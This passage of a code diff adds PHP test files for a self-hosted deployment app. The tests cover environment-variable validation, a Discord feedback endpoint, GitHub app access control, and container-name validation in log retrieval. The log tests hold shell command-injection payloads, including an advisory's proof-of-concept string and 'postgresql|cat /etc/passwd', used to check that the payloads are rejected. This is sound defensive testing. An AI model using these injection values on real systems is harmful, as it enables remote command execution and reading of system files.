->set('key', 'BAD=KEY')
|
||||
->set('value', 'value')
|
||||
->call('submit')
|
||||
->assertHasErrors(['key' => 'regex']);
|
||||
});
|
||||
|
||||
it('allows Docker-compatible environment variable keys in the add form', function (string $key) {
|
||||
Livewire::test(Add::class)
|
||||
->set('key', $key)
|
||||
->set('value', 'value')
|
||||
->call('submit')
|
||||
->assertHasNoErrors()
|
||||
->assertDispatched('saveKey', function ($event, array $data) use ($key) {
|
||||
return data_get($data, 'key') === $key || data_get($data, '0.key') === $key;
|
||||
});
|
||||
})->with([
|
||||
'starts with digit' => '1BAD',
|
||||
'hyphen' => 'BAD-KEY',
|
||||
'dot' => 'node.name',
|
||||
'uppercase dots' => 'XPACK.SECURITY.ENABLED',
|
||||
]);
|
||||
|
||||
it('trims surrounding whitespace in environment variable keys in the add form', function () {
|
||||
Livewire::test(Add::class)
|
||||
->set('key', ' node.name ')
|
||||
->set('value', 'value')
|
||||
->call('submit')
|
||||
->assertHasNoErrors()
|
||||
->assertDispatched('saveKey', function ($event, array $data) {
|
||||
return data_get($data, 'key') === 'node.name' || data_get($data, '0.key') === 'node.name';
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,31 @@
|
||||
<?php
|
||||
|
||||
it('uses Alpine entangle to switch add value field immediately when multiline is enabled', function () {
|
||||
$view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/add.blade.php'));
|
||||
|
||||
expect($view)
|
||||
->toContain('x-data="{ isMultiline: $wire.entangle(\'is_multiline\') }"')
|
||||
->toContain('<template x-if="isMultiline">')
|
||||
->toContain('<template x-if="!isMultiline">')
|
||||
->toContain('x-model="isMultiline"')
|
||||
->toContain('<x-forms.textarea id="value" label="Value" required class="font-sans" spellcheck />')
|
||||
->toContain('wire:key="env-value-textarea"')
|
||||
->toContain('wire:key="env-value-input"');
|
||||
});
|
||||
|
||||
it('uses distinct keyed branches for the edit value field modes', function () {
|
||||
$view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/show.blade.php'));
|
||||
|
||||
expect($view)
|
||||
->toContain('wire:key="env-show-value-textarea-{{ $env->id }}"')
|
||||
->toContain('wire:key="env-show-value-input-{{ $env->id }}"');
|
||||
});
|
||||
|
||||
it('uses sans font for the developer bulk environment variable editor', function () {
|
||||
$view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/all.blade.php'));
|
||||
|
||||
expect($view)
|
||||
->toContain('class="whitespace-pre-wrap font-sans"')
|
||||
->not->toContain('wire:model="variables" monospace')
|
||||
->not->toContain('wire:model="variablesPreview" monospace');
|
||||
});
|
||||
@@ -0,0 +1,96 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Facades\Http;
|
||||
|
||||
beforeEach(function () {
|
||||
Http::fake([
|
||||
'discord.com/*' => Http::response([], 204),
|
||||
]);
|
||||
});
|
||||
|
||||
it('rejects feedback with missing content', function () {
|
||||
$response = $this->postJson('/api/feedback', []);
|
||||
|
||||
$response->assertStatus(422)
|
||||
->assertJsonValidationErrors('content');
|
||||
});
|
||||
|
||||
it('rejects feedback with content too short', function () {
|
||||
$response = $this->postJson('/api/feedback', ['content' => 'short']);
|
||||
|
||||
$response->assertStatus(422)
|
||||
->assertJsonValidationErrors('content');
|
||||
});
|
||||
|
||||
it('rejects feedback with content too long', function () {
|
||||
$response = $this->postJson('/api/feedback', ['content' => str_repeat('a', 2001)]);
|
||||
|
||||
$response->assertStatus(422)
|
||||
->assertJsonValidationErrors('content');
|
||||
});
|
||||
|
||||
it('rejects feedback with non-string content', function () {
|
||||
$response = $this->postJson('/api/feedback', ['content' => ['array', 'value']]);
|
||||
|
||||
$response->assertStatus(422)
|
||||
->assertJsonValidationErrors('content');
|
||||
});
|
||||
|
||||
it('accepts valid feedback and forwards to discord with mentions disabled', function () {
|
||||
config()->set('constants.webhooks.feedback_discord_webhook', 'https://discord.com/api/webhooks/test');
|
||||
|
||||
$response = $this->postJson('/api/feedback', [
|
||||
'content' => 'This is a valid feedback message for testing purposes.',
|
||||
]);
|
||||
|
||||
$response->assertStatus(200)
|
||||
->assertJson(['message' => 'Feedback sent.']);
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
return $request->url() === 'https://discord.com/api/webhooks/test'
|
||||
&& $request['content'] === 'This is a valid feedback message for testing purposes.'
|
||||
&& $request['allowed_mentions'] === ['parse' => []];
|
||||
});
|
||||
});
|
||||
|
||||
it('does not forward to discord when webhook url is not configured', function () {
|
||||
config()->set('constants.webhooks.feedback_discord_webhook', null);
|
||||
|
||||
$response = $this->postJson('/api/feedback', [
|
||||
'content' => 'This is a valid feedback message for testing purposes.',
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
|
||||
Http::assertNothingSent();
|
||||
});
|
||||
|
||||
it('throttles feedback endpoint after 3 requests per minute', function () {
|
||||
config()->set('constants.webhooks.feedback_discord_webhook', null);
|
||||
|
||||
for ($i = 0; $i < 3; $i++) {
|
||||
$response = $this->postJson('/api/feedback', [
|
||||
'content' => "Valid feedback message number {$i} for testing.",
|
||||
]);
|
||||
$response->assertStatus(200);
|
||||
}
|
||||
|
||||
$response = $this->postJson('/api/feedback', [
|
||||
'content' => 'This fourth request should be throttled.',
|
||||
]);
|
||||
$response->assertStatus(429);
|
||||
});
|
||||
|
||||
it('disables discord mention parsing regardless of content', function () {
|
||||
config()->set('constants.webhooks.feedback_discord_webhook', 'https://discord.com/api/webhooks/test');
|
||||
|
||||
$response = $this->postJson('/api/feedback', [
|
||||
'content' => 'User feedback includes an @everyone style phrase and a link https://example.com for reference.',
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
return $request['allowed_mentions'] === ['parse' => []];
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,176 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Shared\GetLogs;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use App\Support\ValidationPatterns;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Attributes\Locked;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'owner']);
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
// Server::created auto-creates a StandaloneDocker, reuse it
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
describe('GetLogs locked properties', function () {
|
||||
test('container property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(GetLogs::class, 'container');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('server property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(GetLogs::class, 'server');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resource property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(GetLogs::class, 'resource');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('servicesubtype property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(GetLogs::class, 'servicesubtype');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
});
|
||||
|
||||
describe('GetLogs Livewire action validation', function () {
|
||||
test('getLogs rejects invalid container name', function () {
|
||||
// Make server functional by setting settings directly
|
||||
$this->server->settings->fill([
|
||||
'is_reachable' => true,
|
||||
'is_usable' => true,
|
||||
'force_disabled' => false,
|
||||
])->save();
|
||||
// Reload server with fresh settings to ensure casted values
|
||||
$server = Server::with('settings')->find($this->server->id);
|
||||
|
||||
Livewire::test(GetLogs::class, [
|
||||
'server' => $server,
|
||||
'resource' => $this->application,
|
||||
'container' => 'container;malicious-command',
|
||||
])
|
||||
->call('getLogs')
|
||||
->assertSet('outputs', 'Invalid container name.');
|
||||
});
|
||||
|
||||
test('getLogs rejects unauthorized server access', function () {
|
||||
$otherTeam = Team::factory()->create();
|
||||
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
|
||||
|
||||
Livewire::test(GetLogs::class, [
|
||||
'server' => $otherServer,
|
||||
'resource' => $this->application,
|
||||
'container' => 'test-container',
|
||||
])
|
||||
->call('getLogs')
|
||||
->assertSet('outputs', 'Unauthorized.');
|
||||
});
|
||||
|
||||
test('downloadAllLogs returns empty for invalid container name', function () {
|
||||
$this->server->settings->fill([
|
||||
'is_reachable' => true,
|
||||
'is_usable' => true,
|
||||
'force_disabled' => false,
|
||||
])->save();
|
||||
$server = Server::with('settings')->find($this->server->id);
|
||||
|
||||
Livewire::test(GetLogs::class, [
|
||||
'server' => $server,
|
||||
'resource' => $this->application,
|
||||
'container' => 'container$(whoami)',
|
||||
])
|
||||
->call('downloadAllLogs')
|
||||
->assertReturned('');
|
||||
});
|
||||
|
||||
test('downloadAllLogs returns empty for unauthorized server', function () {
|
||||
$otherTeam = Team::factory()->create();
|
||||
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
|
||||
|
||||
Livewire::test(GetLogs::class, [
|
||||
'server' => $otherServer,
|
||||
'resource' => $this->application,
|
||||
'container' => 'test-container',
|
||||
])
|
||||
->call('downloadAllLogs')
|
||||
->assertReturned('');
|
||||
});
|
||||
});
|
||||
|
||||
describe('GetLogs stream polling', function () {
|
||||
test('streaming logs polls when log panel is not collapsible', function () {
|
||||
Livewire::test(GetLogs::class, [
|
||||
'server' => $this->server,
|
||||
'resource' => $this->application,
|
||||
'container' => 'coolify-sentinel',
|
||||
'collapsible' => false,
|
||||
])
|
||||
->assertDontSeeHtml('wire:poll.2000ms="getLogs(true)"')
|
||||
->call('toggleStreamLogs')
|
||||
->assertSeeHtml('wire:poll.2000ms="getLogs(true)"');
|
||||
});
|
||||
});
|
||||
|
||||
describe('GetLogs container name injection payloads are blocked by validation', function () {
|
||||
test('newline injection payload is rejected', function () {
|
||||
// The exact PoC payload from the advisory
|
||||
$payload = "postgresql 2>/dev/null\necho '===RCE-START==='\nid\nwhoami\nhostname\ncat /etc/hostname\necho '===RCE-END==='\n#";
|
||||
expect(ValidationPatterns::isValidContainerName($payload))->toBeFalse();
|
||||
});
|
||||
|
||||
test('semicolon injection payload is rejected', function () {
|
||||
expect(ValidationPatterns::isValidContainerName('postgresql;id'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('backtick injection payload is rejected', function () {
|
||||
expect(ValidationPatterns::isValidContainerName('postgresql`id`'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('command substitution injection payload is rejected', function () {
|
||||
expect(ValidationPatterns::isValidContainerName('postgresql$(whoami)'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('pipe injection payload is rejected', function () {
|
||||
expect(ValidationPatterns::isValidContainerName('postgresql|cat /etc/passwd'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('valid container names are accepted', function () {
|
||||
expect(ValidationPatterns::isValidContainerName('postgresql'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidContainerName('my-app-container'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidContainerName('service_db.v2'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidContainerName('coolify-proxy'))->toBeTrue();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,278 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\New\GithubPrivateRepository;
|
||||
use App\Models\GithubApp;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Database\Eloquent\ModelNotFoundException;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->rsaKey = openssl_pkey_new([
|
||||
'private_key_bits' => 2048,
|
||||
'private_key_type' => OPENSSL_KEYTYPE_RSA,
|
||||
]);
|
||||
openssl_pkey_export($this->rsaKey, $pemKey);
|
||||
|
||||
$this->privateKey = PrivateKey::create([
|
||||
'name' => 'Test Key',
|
||||
'private_key' => $pemKey,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$this->githubApp = GithubApp::create([
|
||||
'name' => 'Test GitHub App',
|
||||
'api_url' => 'https://api.github.com',
|
||||
'html_url' => 'https://github.com',
|
||||
'custom_user' => 'git',
|
||||
'custom_port' => 22,
|
||||
'app_id' => 12345,
|
||||
'installation_id' => 67890,
|
||||
'client_id' => 'test-client-id',
|
||||
'client_secret' => 'test-client-secret',
|
||||
'webhook_secret' => 'test-webhook-secret',
|
||||
'private_key_id' => $this->privateKey->id,
|
||||
'team_id' => $this->team->id,
|
||||
'is_system_wide' => false,
|
||||
]);
|
||||
});
|
||||
|
||||
function fakeGithubHttp(array $repositories): void
|
||||
{
|
||||
Http::fake([
|
||||
'https://api.github.com/zen' => Http::response('Keep it logically awesome.', 200, [
|
||||
'Date' => now()->toRfc7231String(),
|
||||
]),
|
||||
'https://api.github.com/app/installations/67890/access_tokens' => Http::response([
|
||||
'token' => 'fake-installation-token',
|
||||
], 201),
|
||||
'https://api.github.com/installation/repositories*' => Http::response([
|
||||
'total_count' => count($repositories),
|
||||
'repositories' => $repositories,
|
||||
], 200),
|
||||
]);
|
||||
}
|
||||
|
||||
function githubPrivateRepositoryTestPrivateKeyForTeam(Team $team): PrivateKey
|
||||
{
|
||||
$rsaKey = openssl_pkey_new([
|
||||
'private_key_bits' => 2048,
|
||||
'private_key_type' => OPENSSL_KEYTYPE_RSA,
|
||||
]);
|
||||
openssl_pkey_export($rsaKey, $pemKey);
|
||||
|
||||
return PrivateKey::create([
|
||||
'name' => 'Test Key '.$team->id,
|
||||
'private_key' => $pemKey,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
}
|
||||
|
||||
describe('GitHub Private Repository Component', function () {
|
||||
test('loadRepositories fetches and displays repositories', function () {
|
||||
$repos = [
|
||||
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
|
||||
['id' => 2, 'name' => 'beta-repo', 'owner' => ['login' => 'testuser']],
|
||||
];
|
||||
|
||||
fakeGithubHttp($repos);
|
||||
|
||||
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
|
||||
->assertSet('current_step', 'github_apps')
|
||||
->call('loadRepositories', $this->githubApp->id)
|
||||
->assertSet('current_step', 'repository')
|
||||
->assertSet('total_repositories_count', 2)
|
||||
->assertSet('selected_repository_id', 1);
|
||||
});
|
||||
|
||||
test('loadRepositories rejects a github app owned by another team', function () {
|
||||
$victimTeam = Team::factory()->create();
|
||||
$victimPrivateKey = githubPrivateRepositoryTestPrivateKeyForTeam($victimTeam);
|
||||
$victimGithubApp = GithubApp::create([
|
||||
'name' => 'Victim GitHub App',
|
||||
'api_url' => 'https://api.github.com',
|
||||
'html_url' => 'https://github.com',
|
||||
'custom_user' => 'git',
|
||||
'custom_port' => 22,
|
||||
'app_id' => 54321,
|
||||
'installation_id' => 98765,
|
||||
'client_id' => 'victim-client-id',
|
||||
'client_secret' => 'victim-client-secret',
|
||||
'webhook_secret' => 'victim-webhook-secret',
|
||||
'private_key_id' => $victimPrivateKey->id,
|
||||
'team_id' => $victimTeam->id,
|
||||
'is_public' => false,
|
||||
'is_system_wide' => false,
|
||||
]);
|
||||
|
||||
Http::fake();
|
||||
|
||||
expect(fn () => Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
|
||||
->call('loadRepositories', $victimGithubApp->id)
|
||||
)->toThrow(ModelNotFoundException::class);
|
||||
|
||||
Http::assertNothingSent();
|
||||
});
|
||||
|
||||
test('mount lists another teams system wide github app', function () {
|
||||
$victimTeam = Team::factory()->create();
|
||||
$victimPrivateKey = githubPrivateRepositoryTestPrivateKeyForTeam($victimTeam);
|
||||
$systemWideGithubApp = GithubApp::create([
|
||||
'name' => 'System Wide GitHub App',
|
||||
'api_url' => 'https://api.github.com',
|
||||
'html_url' => 'https://github.com',
|
||||
'custom_user' => 'git',
|
||||
'custom_port' => 22,
|
||||
'app_id' => 54321,
|
||||
'installation_id' => 98765,
|
||||
'client_id' => 'system-client-id',
|
||||
'client_secret' => 'system-client-secret',
|
||||
'webhook_secret' => 'system-webhook-secret',
|
||||
'private_key_id' => $victimPrivateKey->id,
|
||||
'team_id' => $victimTeam->id,
|
||||
'is_public' => false,
|
||||
'is_system_wide' => true,
|
||||
]);
|
||||
|
||||
$component = Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app']);
|
||||
|
||||
expect($component->get('github_apps')->pluck('id')->all())
|
||||
->toContain($this->githubApp->id)
|
||||
->toContain($systemWideGithubApp->id);
|
||||
});
|
||||
|
||||
test('loadRepositories can use another teams system wide github app', function () {
|
||||
$victimTeam = Team::factory()->create();
|
||||
$victimPrivateKey = githubPrivateRepositoryTestPrivateKeyForTeam($victimTeam);
|
||||
$systemWideGithubApp = GithubApp::create([
|
||||
'name' => 'System Wide GitHub App',
|
||||
'api_url' => 'https://api.github.com',
|
||||
'html_url' => 'https://github.com',
|
||||
'custom_user' => 'git',
|
||||
'custom_port' => 22,
|
||||
'app_id' => 54321,
|
||||
'installation_id' => 67890,
|
||||
'client_id' => 'system-client-id',
|
||||
'client_secret' => 'system-client-secret',
|
||||
'webhook_secret' => 'system-webhook-secret',
|
||||
'private_key_id' => $victimPrivateKey->id,
|
||||
'team_id' => $victimTeam->id,
|
||||
'is_public' => false,
|
||||
'is_system_wide' => true,
|
||||
]);
|
||||
$repos = [
|
||||
['id' => 1, 'name' => 'system-repo', 'owner' => ['login' => 'testuser']],
|
||||
];
|
||||
|
||||
fakeGithubHttp($repos);
|
||||
|
||||
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
|
||||
->call('loadRepositories', $systemWideGithubApp->id)
|
||||
->assertSet('current_step', 'repository')
|
||||
->assertSet('total_repositories_count', 1)
|
||||
->assertSet('selected_repository_id', 1);
|
||||
});
|
||||
|
||||
test('github installation token is not stored as public component state', function () {
|
||||
expect((new ReflectionClass(GithubPrivateRepository::class))->hasProperty('token'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('selected github app id cannot be tampered with from the client', function () {
|
||||
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
|
||||
->set('selected_github_app_id', $this->githubApp->id);
|
||||
})->throws(CannotUpdateLockedPropertyException::class);
|
||||
|
||||
test('loadRepositories can be called again to refresh the repository list', function () {
|
||||
$initialRepos = [
|
||||
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
|
||||
];
|
||||
|
||||
$updatedRepos = [
|
||||
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
|
||||
['id' => 2, 'name' => 'beta-repo', 'owner' => ['login' => 'testuser']],
|
||||
['id' => 3, 'name' => 'gamma-repo', 'owner' => ['login' => 'testuser']],
|
||||
];
|
||||
|
||||
$callCount = 0;
|
||||
Http::fake([
|
||||
'https://api.github.com/zen' => Http::response('Keep it logically awesome.', 200, [
|
||||
'Date' => now()->toRfc7231String(),
|
||||
]),
|
||||
'https://api.github.com/app/installations/67890/access_tokens' => Http::response([
|
||||
'token' => 'fake-installation-token',
|
||||
], 201),
|
||||
'https://api.github.com/installation/repositories*' => function () use (&$callCount, $initialRepos, $updatedRepos) {
|
||||
$callCount++;
|
||||
$repos = $callCount === 1 ? $initialRepos : $updatedRepos;
|
||||
|
||||
return Http::response([
|
||||
'total_count' => count($repos),
|
||||
'repositories' => $repos,
|
||||
], 200);
|
||||
},
|
||||
]);
|
||||
|
||||
$component = Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
|
||||
->call('loadRepositories', $this->githubApp->id)
|
||||
->assertSet('total_repositories_count', 1);
|
||||
|
||||
// Simulate new repos becoming available after changing access on GitHub
|
||||
$component
|
||||
->call('loadRepositories', $this->githubApp->id)
|
||||
->assertSet('total_repositories_count', 3)
|
||||
->assertSet('current_step', 'repository');
|
||||
});
|
||||
|
||||
test('loadRepositories resets branches when refreshing', function () {
|
||||
$repos = [
|
||||
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
|
||||
];
|
||||
|
||||
fakeGithubHttp($repos);
|
||||
|
||||
$component = Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
|
||||
->call('loadRepositories', $this->githubApp->id);
|
||||
|
||||
// Manually set branches to simulate a previous branch load
|
||||
$component->set('branches', collect([['name' => 'main'], ['name' => 'develop']]));
|
||||
$component->set('total_branches_count', 2);
|
||||
|
||||
// Refresh repositories should reset branches
|
||||
fakeGithubHttp($repos);
|
||||
|
||||
$component
|
||||
->call('loadRepositories', $this->githubApp->id)
|
||||
->assertSet('total_branches_count', 0)
|
||||
->assertSet('branches', collect());
|
||||
});
|
||||
|
||||
test('refresh button is visible when repositories are loaded', function () {
|
||||
$repos = [
|
||||
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
|
||||
];
|
||||
|
||||
fakeGithubHttp($repos);
|
||||
|
||||
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
|
||||
->call('loadRepositories', $this->githubApp->id)
|
||||
->assertSee('Refresh Repository List');
|
||||
});
|
||||
|
||||
test('refresh button is not visible before repositories are loaded', function () {
|
||||
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
|
||||
->assertDontSee('Refresh Repository List');
|
||||
});
|
||||
});
|
||||
@@ -2,10 +2,13 @@
|
||||
|
||||
use App\Livewire\Source\Github\Change;
|
||||
use App\Models\GithubApp;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
@@ -19,9 +22,45 @@ beforeEach(function () {
|
||||
// Set current team
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
InstanceSettings::forceCreate([
|
||||
'id' => 0,
|
||||
'fqdn' => null,
|
||||
'public_ipv4' => null,
|
||||
'public_ipv6' => null,
|
||||
]);
|
||||
});
|
||||
|
||||
function validPrivateKey(): string
|
||||
{
|
||||
$key = openssl_pkey_new([
|
||||
'private_key_bits' => 2048,
|
||||
'private_key_type' => OPENSSL_KEYTYPE_RSA,
|
||||
]);
|
||||
|
||||
openssl_pkey_export($key, $privateKey);
|
||||
|
||||
return $privateKey;
|
||||
}
|
||||
|
||||
describe('GitHub Source Change Component', function () {
|
||||
test('all github app form controls declare explicit authorization', function () {
|
||||
$view = file_get_contents(resource_path('views/livewire/source/github/change.blade.php'));
|
||||
|
||||
preg_match_all(
|
||||
'/<x-forms\.(button|input|select|checkbox)\b(?![^>]*\bcanGate=)[^>]*>/s',
|
||||
$view,
|
||||
$matches,
|
||||
PREG_OFFSET_CAPTURE
|
||||
);
|
||||
|
||||
$missingAuthorization = collect($matches[0])
|
||||
->map(fn (array $match): string => 'Line '.(substr_count(substr($view, 0, $match[1]), PHP_EOL) + 1).': '.trim(preg_replace('/\s+/', ' ', $match[0])))
|
||||
->all();
|
||||
|
||||
expect($missingAuthorization)->toBeEmpty();
|
||||
});
|
||||
|
||||
test('can mount with newly created github app with null app_id', function () {
|
||||
// Create a GitHub app without app_id (simulating a newly created source)
|
||||
$githubApp = GithubApp::create([
|
||||
@@ -47,10 +86,130 @@ describe('GitHub Source Change Component', function () {
|
||||
->assertSet('privateKeyId', null);
|
||||
});
|
||||
|
||||
test('creates one-time states for manifest conversion and installation callbacks', function () {
|
||||
$githubApp = GithubApp::create([
|
||||
'name' => 'Test GitHub App',
|
||||
'api_url' => 'https://api.github.com',
|
||||
'html_url' => 'https://github.com',
|
||||
'custom_user' => 'git',
|
||||
'custom_port' => 22,
|
||||
'team_id' => $this->team->id,
|
||||
'is_system_wide' => false,
|
||||
]);
|
||||
|
||||
$component = Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
|
||||
->test(Change::class)
|
||||
->assertSuccessful();
|
||||
|
||||
$manifestState = $component->get('manifestState');
|
||||
$installationUrl = getInstallationPath($githubApp);
|
||||
parse_str(parse_url($installationUrl, PHP_URL_QUERY), $query);
|
||||
$installState = $query['state'] ?? null;
|
||||
|
||||
expect($manifestState)->not->toBeEmpty()
|
||||
->and($installState)->not->toBeEmpty()
|
||||
->and($installState)->not->toBe($manifestState)
|
||||
->and($installationUrl)->not->toContain($githubApp->uuid)
|
||||
->and(Cache::get('github-app-setup-state:'.hash('sha256', $manifestState)))
|
||||
->toMatchArray([
|
||||
'action' => 'manifest',
|
||||
'github_app_id' => $githubApp->id,
|
||||
'team_id' => $githubApp->team_id,
|
||||
])
|
||||
->and(Cache::get('github-app-setup-state:'.hash('sha256', $installState)))
|
||||
->toMatchArray([
|
||||
'action' => 'install',
|
||||
'github_app_id' => $githubApp->id,
|
||||
'team_id' => $githubApp->team_id,
|
||||
]);
|
||||
});
|
||||
|
||||
test('installation path is generated from the provided github app instance', function () {
|
||||
$githubApp = new GithubApp;
|
||||
$githubApp->forceFill([
|
||||
'id' => 123,
|
||||
'name' => 'Provided GitHub App',
|
||||
'html_url' => 'https://github.example.com',
|
||||
'team_id' => 456,
|
||||
]);
|
||||
|
||||
$installationUrl = getInstallationPath($githubApp);
|
||||
parse_str(parse_url($installationUrl, PHP_URL_QUERY), $query);
|
||||
$installState = $query['state'] ?? null;
|
||||
|
||||
expect($installationUrl)->toStartWith('https://github.example.com/github-apps/provided-git-hub-app/installations/new?')
|
||||
->and($installState)->not->toBeEmpty()
|
||||
->and(Cache::get('github-app-setup-state:'.hash('sha256', $installState)))
|
||||
->toMatchArray([
|
||||
'action' => 'install',
|
||||
'github_app_id' => 123,
|
||||
'team_id' => 456,
|
||||
]);
|
||||
});
|
||||
|
||||
test('defaults webhook endpoint to app url when it is the first available endpoint', function () {
|
||||
config(['app.url' => 'http://localhost:8000']);
|
||||
|
||||
InstanceSettings::findOrFail(0)->update([
|
||||
'fqdn' => null,
|
||||
'public_ipv4' => null,
|
||||
'public_ipv6' => null,
|
||||
]);
|
||||
|
||||
$githubApp = GithubApp::create([
|
||||
'name' => 'Test GitHub App',
|
||||
'api_url' => 'https://api.github.com',
|
||||
'html_url' => 'https://github.com',
|
||||
'custom_user' => 'git',
|
||||
'custom_port' => 22,
|
||||
'team_id' => $this->team->id,
|
||||
'is_system_wide' => false,
|
||||
]);
|
||||
|
||||
Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
|
||||
->test(Change::class)
|
||||
->assertSuccessful()
|
||||
->assertSet('webhook_endpoint', 'http://localhost:8000');
|
||||
});
|
||||
|
||||
test('custom webhook endpoint is selected explicitly with a checkbox', function () {
|
||||
config(['app.url' => 'http://localhost:8000']);
|
||||
|
||||
InstanceSettings::findOrFail(0)->update([
|
||||
'fqdn' => 'http://staging.example.com',
|
||||
'public_ipv4' => '84.1.202.183',
|
||||
'public_ipv6' => null,
|
||||
]);
|
||||
|
||||
$githubApp = GithubApp::create([
|
||||
'name' => 'Test GitHub App',
|
||||
'api_url' => 'https://api.github.com',
|
||||
'html_url' => 'https://github.com',
|
||||
'custom_user' => 'git',
|
||||
'custom_port' => 22,
|
||||
'team_id' => $this->team->id,
|
||||
'is_system_wide' => false,
|
||||
]);
|
||||
|
||||
Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
|
||||
->test(Change::class)
|
||||
->assertSuccessful()
|
||||
->assertSet('use_custom_webhook_endpoint', false)
|
||||
->set('custom_webhook_endpoint', 'https://staging.example.com')
|
||||
->set('use_custom_webhook_endpoint', true)
|
||||
->assertSet('webhook_endpoint', 'http://staging.example.com')
|
||||
->assertSet('custom_webhook_endpoint', 'https://staging.example.com')
|
||||
->assertSet('use_custom_webhook_endpoint', true)
|
||||
->assertSee('Use custom webhook endpoint')
|
||||
->assertSee('Selected endpoint')
|
||||
->assertSee('Custom endpoint')
|
||||
->assertSee('createGithubApp(webhookEndpoint, useCustomWebhookEndpoint, customWebhookEndpoint');
|
||||
});
|
||||
|
||||
test('can mount with fully configured github app', function () {
|
||||
$privateKey = PrivateKey::create([
|
||||
'name' => 'Test Key',
|
||||
'private_key' => 'test-private-key-content',
|
